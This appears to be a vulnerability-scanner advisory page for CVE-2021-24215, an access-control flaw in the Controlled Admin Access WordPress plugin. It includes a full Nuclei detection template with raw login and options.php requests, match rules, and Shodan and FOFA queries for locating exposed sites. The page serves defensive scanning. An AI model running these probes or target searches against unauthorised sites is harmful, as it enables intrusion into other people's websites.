Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation

criticalseverity

9.8CVSS score

8.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

An Improper Access Control vulnerability was discovered in the plugin. Uncontrolled access to the website customization functionality and global CMS settings, like /wp-admin/customization.php and /wp-admin/options.php, can lead to a complete compromise of the target resource.

Impact

Unauthenticated attackers can access sensitive WordPress customization functionality and global CMS settings, potentially leading to complete site compromise through uncontrolled access to configuration endpoints.

Fix

Fixed in version 1.5.2

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options.php
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "This page allows direct access to your site settings") && contains(body_2, "Controlled Admin Access")

Run it with nuclei: nuclei -id CVE-2021-24215 -u <target>

The full check

id: CVE-2021-24215

info:
  name: Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation
  author: r3Y3r53
  severity: critical
  description: |
    An Improper Access Control vulnerability was discovered in the plugin. Uncontrolled access to the website customization functionality and global CMS settings, like /wp-admin/customization.php and /wp-admin/options.php, can lead to a complete compromise of the target resource.
  impact: |
    Unauthenticated attackers can access sensitive WordPress customization functionality and global CMS settings, potentially leading to complete site compromise through uncontrolled access to configuration endpoints.
  remediation: Fixed in version 1.5.2
  reference:
    - https://wpscan.com/vulnerability/eec0f29f-a985-4285-8eed-d1855d204a20
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24215
    - https://www.opencve.io/cve/CVE-2021-24215
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24215
    cwe-id: CWE-425,CWE-284
    epss-score: 0.08471
    epss-percentile: 0.95064
    cpe: cpe:2.3:a:wpruby:controlled_admin_access:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpruby
    product: controlled_admin_access
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/controlled-admin-access/
    fofa-query: body=/wp-content/plugins/controlled-admin-access/
    publicwww-query: /wp-content/plugins/controlled-admin-access/
  tags: cve2021,cve,authenticated,wpscan,wordpress,wp-plugin,wp,controlled-admin-access,wpruby,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "This page allows direct access to your site settings") && contains(body_2, "Controlled Admin Access")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from